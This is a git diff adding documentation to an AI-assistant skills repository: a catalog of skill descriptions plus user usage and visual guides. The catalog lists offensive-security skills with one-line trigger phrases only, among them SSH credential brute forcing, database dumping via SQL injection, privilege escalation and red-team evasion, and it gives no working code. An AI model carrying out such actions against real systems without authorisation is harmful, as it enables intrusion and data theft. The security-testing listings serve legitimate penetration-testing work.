+---
+
+## openapi-spec-generation (`openapi-spec-generation`)
+
+**Description:** Generate and maintain OpenAPI 3.1 specifications from code, design-first specs, and validation patterns. Use when creating API documentation, generating SDKs, or ensuring API contract compliance.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## payment-integration (`payment-integration`)
+
+**Description:** Integrate Stripe, PayPal, and payment processors. Handles checkout flows, subscriptions, webhooks, and PCI compliance. Use PROACTIVELY when implementing payments, billing, or subscription features.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## pci-compliance (`pci-compliance`)
+
+**Description:** Implement PCI DSS compliance requirements for secure handling of payment card data and payment systems. Use when securing payment processing, achieving PCI compliance, or implementing payment card security measures.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## Pentest Checklist (`pentest-checklist`)
+
+**Description:** This skill should be used when the user asks to "plan a penetration test", "create a security assessment checklist", "prepare for penetration testing", "define pentest scope", "follow security testing best practices", or needs a structured methodology for penetration testing engagements.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## Pentest Commands (`pentest-commands`)
+
+**Description:** This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## plaid-fintech (`plaid-fintech`)
+
+**Description:** Expert patterns for Plaid API integration including Link token flows, transactions sync, identity verification, Auth for ACH, balance checks, webhook handling, and fintech compliance best practices. Use when: plaid, bank account linking, bank connection, ach, account aggregation.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## postmortem-writing (`postmortem-writing`)
+
+**Description:** Write effective blameless postmortems with root cause analysis, timelines, and action items. Use when conducting incident reviews, writing postmortem documents, or improving incident response processes.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## Privilege Escalation Methods (`privilege-escalation-methods`)
+
+**Description:** This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## production-code-audit (`production-code-audit`)
+
+**Description:** Autonomously deep-scan entire codebase line-by-line, understand architecture and patterns, then systematically transform it to production-grade, corporate-level professional quality with optimizations
+
+### Use Cases
+- Use when user says "make this production-ready"
+- Use when user says "audit my codebase"
+- Use when user says "make this professional/corporate-level"
+- Use when user says "optimize everything"
+- Use when user wants enterprise-grade quality
+- Use when preparing for production deployment
+- Use when code needs to meet corporate standards
+
+### Example Prompts
+Not specified
+
+---
+
+## prompt-caching (`prompt-caching`)
+
+**Description:** Caching strategies for LLM prompts including Anthropic prompt caching, response caching, and CAG (Cache Augmented Generation) Use when: prompt caching, cache prompt, response cache, cag, cache augmented.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## Red Team Tools and Methodology (`red-team-tools`)
+
+**Description:** This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## red-team-tactics (`red-team-tactics`)
+
+**Description:** Red team tactics principles based on MITRE ATT&CK. Attack phases, detection evasion, reporting.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## reverse-engineer (`reverse-engineer`)
+
+**Description:** Expert reverse engineer specializing in binary analysis, disassembly, decompilation, and software analysis. Masters IDA Pro, Ghidra, radare2, x64dbg, and modern RE toolchains. Handles executable analysis, library inspection, protocol extraction, and vulnerability research. Use PROACTIVELY for binary analysis, CTF challenges, security research, or understanding undocumented software.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## sast-configuration (`sast-configuration`)
+
+**Description:** Configure Static Application Security Testing (SAST) tools for automated vulnerability detection in application code. Use when setting up security scanning, implementing DevSecOps practices, or automating code vulnerability detection.
+
+### Use Cases
+This skill provides comprehensive guidance for setting up and configuring SAST tools including Semgrep, SonarQube, and CodeQL.
+
+### Example Prompts
+Not specified
+
+---
+
+## Security Auditing Workflow (`security-audit`)
+
+**Description:** Comprehensive security auditing workflow covering web application testing, API security, penetration testing, vulnerability scanning, and security hardening.
+
+### Use Cases
+- Managing the complete penetration testing lifecycle (Recon → Scanning → Exploitation → Reporting)
+- Performing passive reconnaissance using OSINT and Google Hacking
+- Executing automated and manual vulnerability scans against web surfaces
+- Orchestrating multi-layer hardening and remediation testing
+
+### Example Prompts
+- "Conduct a full security audit of this target domain starting with passive reconnaissance."
+- "Run a vulnerability scan against the identified web services and prioritize findings by severity."
+- "Formulate a remediation strategy for the top 5 critical vulnerabilities found in the audit."
+
+---
+
+## schema-markup (`schema-markup`)
+
+**Description:** Design, validate, and optimize schema.org structured data for eligibility, correctness, and measurable SEO impact. Use when the user wants to add, fix, audit, or scale schema markup (JSON-LD) for rich results. This skill evaluates whether schema should be implemented, what types are valid, and how to deploy safely according to Google guidelines.
+
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## Security Scanning Tools (`scanning-tools`)
+
+**Description:** This skill should be used when the user asks to "perform vulnerability scanning", "scan networks for open ports", "assess web application security", "scan wireless networks", "detect malware", "check cloud security", or "evaluate system compliance". It provides comprehensive guidance on security scanning tools and methodologies.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## security-auditor (`security-auditor`)
+
+**Description:** Comprehensive security auditing workflow covering web application testing, API security, penetration testing, vulnerability scanning, and security hardening.
+
+### Use Cases
+- Managing the complete penetration testing lifecycle (Recon → Scanning → Exploitation → Reporting)
+- Performing passive reconnaissance using OSINT and Google Hacking
+- Executing automated and manual vulnerability scans against web surfaces
+- Orchestrating multi-layer hardening and remediation testing
+
+### Example Prompts
+- "Conduct a full security audit of this target domain starting with passive reconnaissance."
+- "Run a vulnerability scan against the identified web services and prioritize findings by severity."
+- "Formulate a remediation strategy for the top 5 critical vulnerabilities found in the audit."
+
+---
+
+## security-compliance-compliance-check (`security-compliance-compliance-check`)
+
+**Description:** You are a compliance expert specializing in regulatory requirements for software systems including GDPR, HIPAA, SOC2, PCI-DSS, and other industry standards. Perform compliance audits and provide implementation guidance.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## security-requirement-extraction (`security-requirement-extraction`)
+
+**Description:** Derive security requirements from threat models and business context. Use when translating threats into actionable requirements, creating security user stories, or building security test cases.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## security-review (`cc-skill-security-review`)
+
+**Description:** Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist and patterns.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## security-scanning-security-dependencies (`security-scanning-security-dependencies`)
+
+**Description:** You are a security expert specializing in dependency vulnerability analysis, SBOM generation, and supply chain security. Scan project dependencies across ecosystems to identify vulnerabilities, assess risks, and recommend remediation.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## security-scanning-security-hardening (`security-scanning-security-hardening`)
+
+**Description:** Coordinate multi-layer security scanning and hardening across application, infrastructure, and compliance controls.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## security-scanning-security-sast (`security-scanning-security-sast`)
+
+**Description:** Static Application Security Testing (SAST) for code vulnerability analysis across multiple languages and frameworks
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+
+## service-mesh-expert (`service-mesh-expert`)
+
+**Description:** Expert service mesh architect specializing in Istio, Linkerd, and cloud-native networking patterns. Masters traffic management, security policies, observability integration, and multi-cluster mesh con
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## Shodan Reconnaissance and Pentesting (`shodan-reconnaissance`)
+
+**Description:** This skill should be used when the user asks to "search for exposed devices on the internet," "perform Shodan reconnaissance," "find vulnerable services using Shodan," "scan IP ranges with Shodan," or "discover IoT devices and open ports." It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## SMTP Penetration Testing (`smtp-penetration-testing`)
+
+**Description:** This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## solidity-security (`solidity-security`)
+
+**Description:** Master smart contract security best practices to prevent common vulnerabilities and implement secure Solidity patterns. Use when writing smart contracts, auditing existing contracts, or implementing security measures for blockchain applications.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## SQL Injection Testing (`sql-injection-testing`)
+
+**Description:** This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## SQLMap Database Penetration Testing (`sqlmap-database-pentesting`)
+
+**Description:** This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## SSH Penetration Testing (`ssh-penetration-testing`)
+
+**Description:** This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## stride-analysis-patterns (`stride-analysis-patterns`)
+
+**Description:** Apply STRIDE methodology to systematically identify threats. Use when analyzing system security, conducting threat modeling sessions, or creating security documentation.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## stripe-integration (`stripe-integration`)
+
+**Description:** Implement Stripe payment processing for robust, PCI-compliant payment flows including checkout, subscriptions, and webhooks. Use when integrating Stripe payments, building subscription systems, or implementing secure checkout flows.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## terraform-specialist (`terraform-specialist`)
+
+**Description:** Expert Terraform/OpenTofu specialist mastering advanced IaC automation, state management, and enterprise infrastructure patterns. Handles complex module design, multi-cloud deployments, GitOps workflows, policy as code, and CI/CD integration. Covers migration strategies, security best practices, and modern IaC ecosystems. Use PROACTIVELY for advanced IaC, state management, or infrastructure automation.
+
+### Use Cases
+Expert Infrastructure as Code specialist with comprehensive knowledge of Terraform, OpenTofu, and modern IaC ecosystems. Masters advanced module design, state management, provider development, and enterprise-scale infrastructure automation. Specializes in GitOps workflows, policy as code, and complex multi-cloud deployments.
+
+### Example Prompts
+- "Design a reusable Terraform module for a three-tier web application with proper testing"
+- "Set up secure remote state management with encryption and locking for multi-team environment"
+- "Create CI/CD pipeline for infrastructure deployment with security scanning and approval workflows"
+- "Migrate existing Terraform codebase to OpenTofu with minimal disruption"
+- "Implement policy as code validation for infrastructure compliance and cost control"
+- "Design multi-cloud Terraform architecture with provider abstraction"
+- "Troubleshoot state corruption and implement recovery procedures"
+- "Create enterprise service catalog with approved infrastructure modules"
+
+---
+
+## threat-mitigation-mapping (`threat-mitigation-mapping`)
+
+**Description:** Map identified threats to appropriate security controls and mitigations. Use when prioritizing security investments, creating remediation plans, or validating control effectiveness.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## threat-modeling-expert (`threat-modeling-expert`)
+
+**Description:** Expert in threat modeling methodologies, security architecture review, and risk assessment. Masters STRIDE, PASTA, attack trees, and security requirement extraction. Use for security architecture reviews, threat identification, and secure-by-design planning.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## Top 100 Web Vulnerabilities Reference (`top-web-vulnerabilities`)
+
+**Description:** This skill should be used when the user asks to "identify web application vulnerabilities", "explain common security flaws", "understand vulnerability categories", "learn about injection attacks", "review access control weaknesses", "analyze API security issues", "assess security misconfigurations", "understand client-side vulnerabilities", "examine mobile and IoT security flaws", or "reference the OWASP-aligned vulnerability taxonomy". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## using-superpowers (`using-superpowers`)
+
+**Description:** Use when starting any conversation - establishes how to find and use skills, requiring Skill tool invocation before ANY response including clarifying questions
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## vulnerability-scanner (`vulnerability-scanner`)
+
+**Description:** Advanced vulnerability analysis principles. OWASP 2025, Supply Chain Security, attack surface mapping, risk prioritization.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## wcag-audit-patterns (`wcag-audit-patterns`)
+
+**Description:** Conduct WCAG 2.2 accessibility audits with automated testing, manual verification, and remediation guidance. Use when auditing websites for accessibility, fixing WCAG violations, or implementing accessible design patterns.
+
+### Use Cases
+Not specified
+
+### Example Prompts
+Not specified
+
+---
+
+## web-design-guidelines (`web-design-guidelines`)
+
+**Description:** Review UI code for Web Interface Guidelines compliance. Use when asked to "review my UI", "check accessibility", "audit design", "review UX", or "check my site against best practices".
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## Windows Privilege Escalation (`windows-privilege-escalation`)
+
+**Description:** This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## Wireshark Network Traffic Analysis (`wireshark-analysis`)
+
+**Description:** This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
+## WordPress Penetration Testing (`wordpress-penetration-testing`)
+
+**Description:** This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.
+
+### Use Cases
+This skill is applicable to execute the workflow or actions described in the overview.
+
+### Example Prompts
+Not specified
+
+---
+
diff --git a/docs/users/usage.md b/docs/users/usage.md
new file mode 100644
index 00000000..4089e72f
--- /dev/null
+++ b/docs/users/usage.md
@@ -0,0 +1,394 @@
+# 📖 Usage Guide: How to Actually Use These Skills
+
+> **Confused after installation?** This guide walks you through exactly what to do next, step by step.
+
+---
+
+## 🤔 "I just installed the repository. Now what?"
+
+Great question! Here's what just happened and what to do next:
+
+### What You Just Did
+
+When you ran `npx antigravity-awesome-skills` or cloned the repository, you:
+
+✅ **Downloaded 1,204+ skill files** to your computer (default: `~/.gemini/antigravity/skills/`; or `~/.agent/skills/` if you used `--path`)
+✅ **Made them available** to your AI assistant
+❌ **Did NOT enable them all automatically** (they're just sitting there, waiting)
+
+Think of it like installing a toolbox. You have all the tools now, but you need to **pick which ones to use** for each job.
+
+---
+
+## 🎯 Step 1: Understanding "Bundles" (This is NOT Another Install!)
+
+**Common confusion:** "Do I need to download each skill separately?"
+
+**Answer: NO!** Here's what bundles actually are:
+
+### What Bundles Are
+
+Bundles are **recommended lists** of skills grouped by role. They help you decide which skills to start using.
+
+**Analogy:**
+
+- You installed a toolbox with 1,204+ tools (✅ done)
+- Bundles are like **labeled organizer trays** saying: "If you're a carpenter, start with these 10 tools"
+- You don't install bundles—you **pick skills from them**
+
+### What Bundles Are NOT
+
+❌ Separate installations
+❌ Different download commands
+❌ Something you need to "activate"
+
+### Example: The "Web Wizard" Bundle
+
+When you see the [Web Wizard bundle](bundles.md#-the-web-wizard-pack), it lists:
+
+- `frontend-design`
+- `react-best-practices`
+- `tailwind-patterns`
+- etc.
+
+These are **recommendations** for which skills a web developer should try first. They're already installed—you just need to **use them in your prompts**.
+
+---
+
+## 🚀 Step 2: How to Actually Execute/Use a Skill
+
+This is the part that should have been explained better! Here's how to use skills:
+
+### The Simple Answer
+
+**Just mention the skill name in your conversation with your AI assistant.**
+
+### Different Tools, Different Syntax
+
+The exact syntax varies by tool, but it's always simple:
+
+#### Claude Code (CLI)
+
+```bash
+# In your terminal/chat with Claude Code:
+>> Use @brainstorming to help me design a todo app
+```
+
+#### Cursor (IDE)
+
+```bash
+# In the Cursor chat panel:
+@brainstorming help me design a todo app
+```
+
+#### Gemini CLI
+
+```bash
+# In your conversation with Gemini:
+Use the brainstorming skill to help me plan my app
+```
+
+#### Codex CLI
+
+```bash
+# In your conversation with Codex:
+Apply @brainstorming to design a new feature
+```
+
+#### Antigravity IDE
+
+```bash
+# In agent mode:
+Use @brainstorming to plan this feature
+```
+
+> **Pro Tip:** Most modern tools use the `@skill-name` syntax. When in doubt, try that first!
+
+---
+
+## 💬 Step 3: What Should My Prompts Look Like?
+
+Here are **real-world examples** of good prompts:
+
+### Example 1: Starting a New Project
+
+**Bad Prompt:**
+
+> "Help me build a todo app"
+
+**Good Prompt:**
+
+> "Use @brainstorming to help me design a todo app with user authentication and cloud sync"
+
+**Why it's better:** You're explicitly invoking the skill and providing context.
+
+---
+
+### Example 2: Reviewing Code
+
+**Bad Prompt:**
+
+> "Check my code"
+
+**Good Prompt:**
+
+> "Use @lint-and-validate to check `src/components/Button.tsx` for issues"
+
+**Why it's better:** Specific skill + specific file = precise results.
+
+---
+
+### Example 3: Security Audit
+
+**Bad Prompt:**
+
+> "Make my API secure"
+
+**Good Prompt:**
+
+> "Use @api-security-best-practices to review my REST endpoints in `routes/api/users.js`"
+
+**Why it's better:** The AI knows exactly which skill's standards to apply.
+
+---
+
+### Example 4: Combining Multiple Skills
+
+**Good Prompt:**
+
+> "Use @brainstorming to design a payment flow, then apply @stripe-integration to implement it"
+
+**Why it's good:** You can chain skills together in a single prompt!
+
+---
+
+## 🎓 Step 4: Your First Skill (Hands-On Tutorial)
+
+Let's actually use a skill right now. Follow these steps:
+
+### Scenario: You want to plan a new feature
+
+1. **Pick a skill:** Let's use `brainstorming` (from the "Essentials" bundle)
+
+2. **Open your AI assistant** (Claude Code, Cursor, etc.)
+
+3. **Type this exact prompt:**
+
+ ```
+ Use @brainstorming to help me design a user profile page for my app
+ ```
+
+4. **Press Enter**
+
+5. **What happens next:**
+ - The AI loads the brainstorming skill
+ - It will start asking you structured questions (one at a time)
+ - It will guide you through understanding, requirements, and design
+ - You answer each question, and it builds a complete spec
+
+6. **Result:** You'll end up with a detailed design document—without writing a single line of code yet!
+
+---
+
+## 🗂️ Step 5: Picking Your First Skills (Practical Advice)
+
+Don't try to use all 1,204+ skills at once. Here's a sensible approach:
+
+### Start with "The Essentials" (5 skills, everyone needs these)
+
+1. **`@brainstorming`** - Plan before you build
+2. **`@lint-and-validate`** - Keep code clean
+3. **`@git-pushing`** - Save work safely
+4. **`@systematic-debugging`** - Fix bugs faster
+5. **`@concise-planning`** - Organize tasks
+
+**How to use them:**
+
+- Before writing new code → `@brainstorming`
+- After writing code → `@lint-and-validate`
+- Before committing → `@git-pushing`
+- When stuck → `@systematic-debugging`
+
+### Then Add Role-Specific Skills (5-10 more)
+
+Find your role in [bundles.md](bundles.md) and pick 5-10 skills from that bundle.
+
+**Example for Web Developer:**
+
+- `@frontend-design`
+- `@react-best-practices`
+- `@tailwind-patterns`
+- `@seo-audit`
+
+**Example for Security Engineer:**
+
+- `@api-security-best-practices`
+- `@vulnerability-scanner`
+- `@ethical-hacking-methodology`
+
+### Finally, Add On-Demand Skills (as needed)
+
+Keep the [CATALOG.md](../../CATALOG.md) open as reference. When you need something specific:
+
+> "I need to integrate Stripe payments"
+> → Search catalog → Find `@stripe-integration` → Use it!
+
+---
+
+## 🔄 Complete Example: Building a Feature End-to-End
+
+Let's walk through a realistic scenario:
+
+### Task: "Add a blog to my Next.js website"
+
+#### Step 1: Plan (use @brainstorming)
+
+```
+You: Use @brainstorming to design a blog system for my Next.js site
+
+AI: [Asks structured questions about requirements]
+You: [Answer questions]
+AI: [Produces detailed design spec]
+```
+
+#### Step 2: Implement (use @nextjs-best-practices)
+
+```
+You: Use @nextjs-best-practices to scaffold the blog with App Router
+
+AI: [Creates file structure, sets up routes, adds components]
+```
+
+#### Step 3: Style (use @tailwind-patterns)
+
+```
+You: Use @tailwind-patterns to make the blog posts look modern
+
+AI: [Applies Tailwind styling with responsive design]
+```
+
+#### Step 4: SEO (use @seo-audit)
+
+```
+You: Use @seo-audit to optimize the blog for search engines
+
+AI: [Adds meta tags, sitemaps, structured data]
+```
+
+#### Step 5: Test & Deploy
+
+```
+You: Use @test-driven-development to add tests, then @vercel-deployment to deploy
+
+AI: [Creates tests, sets up CI/CD, deploys to Vercel]
+```
+
+**Result:** Professional blog built with best practices, without manually researching each step!
+
+---
+
+## 🆘 Common Questions
+
+### "Which tool should I use? Claude Code, Cursor, Gemini?"
+
+**Any of them!** Skills work universally. Pick the tool you already use or prefer:
+
+- **Claude Code** - Best for terminal/CLI workflows
+- **Cursor** - Best for IDE integration
+- **Gemini CLI** - Best for Google ecosystem
+- **Codex CLI** - Best for OpenAI ecosystem
+
+### "Can I see all available skills?"
+
+Yes! Three ways:
+
+1. Browse [CATALOG.md](../../CATALOG.md) (searchable list)
+2. Run `ls ~/.agent/skills/` (if installed there)
+3. Ask your AI: "What skills do you have for [topic]?"
+
+### "Do I need to restart my IDE after installing?"
+
+Usually no, but if your AI doesn't recognize a skill:
+
+1. Try restarting your IDE/CLI
+2. Check the installation path matches your tool
+3. Try the explicit path: `npx antigravity-awesome-skills --claude` (or `--cursor`, `--gemini`, etc.)
+
+### "Can I create my own skills?"
+
+Yes! Use the `@skill-creator` skill:
+
+```
+Use @skill-creator to help me build a custom skill for [your task]
+```
+
+### "What if a skill doesn't work as expected?"
+
+1. Check the skill's SKILL.md file directly: `~/.agent/skills/[skill-name]/SKILL.md`
+2. Read the description to ensure you're using it correctly
+3. [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues) with details
+
+---
+
+## 🎯 Quick Reference Card
+
+**Save this for quick lookup:**
+
+| Task | Skill to Use | Example Prompt |
+| ---------------- | ------------------------------ | --------------------------------------------------- |
+| Plan new feature | `@brainstorming` | `Use @brainstorming to design a login system` |
+| Review code | `@lint-and-validate` | `Use @lint-and-validate on src/app.js` |
+| Debug issue | `@systematic-debugging` | `Use @systematic-debugging to fix login error` |
+| Security audit | `@api-security-best-practices` | `Use @api-security-best-practices on my API routes` |
+| SEO check | `@seo-audit` | `Use @seo-audit on my landing page` |
+| React component | `@react-patterns` | `Use @react-patterns to build a form component` |
+| Deploy app | `@vercel-deployment` | `Use @vercel-deployment to ship this to production` |
+
+---
+
+## 🚦 Next Steps
+
+Now that you understand how to use skills:
+
+1. ✅ **Try one skill right now** - Start with `@brainstorming` on any idea you have
+2. 📚 **Pick 3-5 skills** from your role's bundle in [bundles.md](bundles.md)
+3. 🔖 **Bookmark** [CATALOG.md](../../CATALOG.md) for when you need something specific
+4. 🎯 **Try a workflow** from [workflows.md](workflows.md) for a complete end-to-end process
+
+---
+
+## 💡 Pro Tips for Maximum Effectiveness
+
+### Tip 1: Start Every Feature with @brainstorming
+
+> Before writing code, use `@brainstorming` to plan. You'll save hours of refactoring.
+
+### Tip 2: Chain Skills in Order
+
+> Don't try to do everything at once. Use skills sequentially: Plan → Build → Test → Deploy
+
+### Tip 3: Be Specific in Prompts
+
+> Bad: "Use @react-patterns"
+> Good: "Use @react-patterns to build a modal component with animations"
+
+### Tip 4: Reference File Paths
+
+> Help the AI focus: "Use @security-auditor on routes/api/auth.js"
+
+### Tip 5: Combine Skills for Complex Tasks
+
+> "Use @brainstorming to design, then @test-driven-development to implement with tests"
+
+---
+
+## 📞 Still Confused?
+
+If something still doesn't make sense:
+
+1. Check the [FAQ](faq.md)
+2. See [Real-World Examples](../contributors/examples.md)
+3. [Open a Discussion](https://github.com/sickn33/antigravity-awesome-skills/discussions)
+4. [File an Issue](https://github.com/sickn33/antigravity-awesome-skills/issues) to help us improve this guide!
+
+Remember: You're not alone! The whole point of this project is to make AI assistants easier to use. If this guide didn't help, let us know so we can fix it. 🙌
diff --git a/docs/users/visual-guide.md b/docs/users/visual-guide.md
new file mode 100644
index 00000000..cbf78f66
--- /dev/null
+++ b/docs/users/visual-guide.md
@@ -0,0 +1,509 @@
+# Visual Quick Start Guide
+
+**Learn by seeing!** This guide uses diagrams and visual examples to help you understand skills.
+
+---
+
+## The Big Picture
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│ YOU (Developer) │
+│ ↓ │
+│ "Help me build a payment system" │
+│ ↓ │
+├─────────────────────────────────────────────────────────────┤
+│ AI ASSISTANT │
+│ ↓ │
+│ Loads @stripe-integration skill │
+│ ↓ │
+│ Becomes an expert in Stripe payments │
+│ ↓ │
+│ Provides specialized help with code examples │
+└─────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## 📦 Repository Structure (Visual)
+
+```
+antigravity-awesome-skills/
+│
+├── 📄 README.md ← Overview and quick start
+├── 📄 CONTRIBUTING.md ← Contributor workflow
+├── 📄 CATALOG.md ← Full generated catalog
+│
+├── 📁 skills/ ← 1,204+ skills live here
+│ │
+│ ├── 📁 brainstorming/
+│ │ └── 📄 SKILL.md ← Skill definition
+│ │
+│ ├── 📁 stripe-integration/
+│ │ ├── 📄 SKILL.md
+│ │ └── 📁 examples/ ← Optional extras
+│ │
+│ ├── 📁 game-development/
+│ │ └── 📁 2d-games/
+│ │ └── 📄 SKILL.md ← Nested skills also supported
+│ │
+│ └── ... (1,200+ total)
+│
+├── 📁 apps/
+│ └── 📁 web-app/ ← Interactive browser
+│
+├── 📁 tools/
+│ ├── 📁 scripts/ ← Validators and generators
+│ ├── 📁 lib/ ← Shared helpers
+│ └── 📁 bin/ ← Installer entrypoint
+│
+└── 📁 docs/
+ ├── 📁 users/ ← Getting started, bundles, workflows
+ ├── 📁 contributors/ ← Template, anatomy, quality bar
+ ├── 📁 maintainers/ ← Release and maintenance docs
+ └── 📁 sources/ ← Attribution and licenses
+```
+
+---
+
+## How Skills Work (Flow Diagram)
+
+```
+┌──────────────┐
+│ 1. INSTALL │ Copy skills to .agent/skills/
+└──────┬───────┘
+ │
+ ↓
+┌──────────────┐
+│ 2. INVOKE │ Type: @skill-name in AI chat
+└──────┬───────┘
+ │
+ ↓
+┌──────────────┐
+│ 3. LOAD │ AI reads SKILL.md file
+└──────┬───────┘
+ │
+ ↓
+┌──────────────┐
+│ 4. EXECUTE │ AI follows skill instructions
+└──────┬───────┘
+ │
+ ↓
+┌──────────────┐
+│ 5. RESULT │ You get specialized help!
+└──────────────┘
+```
+
+---
+
+## 🎯 Skill Categories (Visual Map)
+
+```
+ ┌─────────────────────────┐
+ │ 1,204+ SKILLS │
+ └────────────┬────────────┘
+ │
+ ┌────────────────────────┼────────────────────────┐
+ │ │ │
+ ┌────▼────┐ ┌──────▼──────┐ ┌──────▼──────┐
+ │ PRODUCT │ │ DEVELOPMENT │ │ SECURITY │
+ │ & UX │ │ & TESTING │ │ & RELIAB. │
+ └────┬────┘ └──────┬──────┘ └──────┬──────┘
+ │ │ │
+ • Brainstorming • React / Next.js • AppSec reviews
+ • Design systems • TDD / debugging • Pentest guides
+ • Copywriting • API / backend • Cloud hardening
+ • Incident response
+ │ │ │
+ └────────────────────────┼────────────────────────┘
+ │
+ ┌────────────────────────┼────────────────────────┐
+ │ │ │
+ ┌────▼────┐ ┌──────▼──────┐ ┌──────▼──────┐
+ │ AI │ │ DATA / OPS │ │ DOCS / OSS │
+ │ AGENTS │ │ & CLOUD │ │ MAINTENANCE │
+ └────┬────┘ └──────┬──────┘ └──────┬──────┘
+ │ │ │
+ • RAG systems • SQL / analytics • Release flow
+ • LangGraph • Docker / K8s • Changelog
+ • Prompt engineering • Terraform / AWS • PR / review
+ • Tooling / MCP • Observability • Skill authoring
+```
+
+---
+
+## Skill File Anatomy (Visual)
+
+```
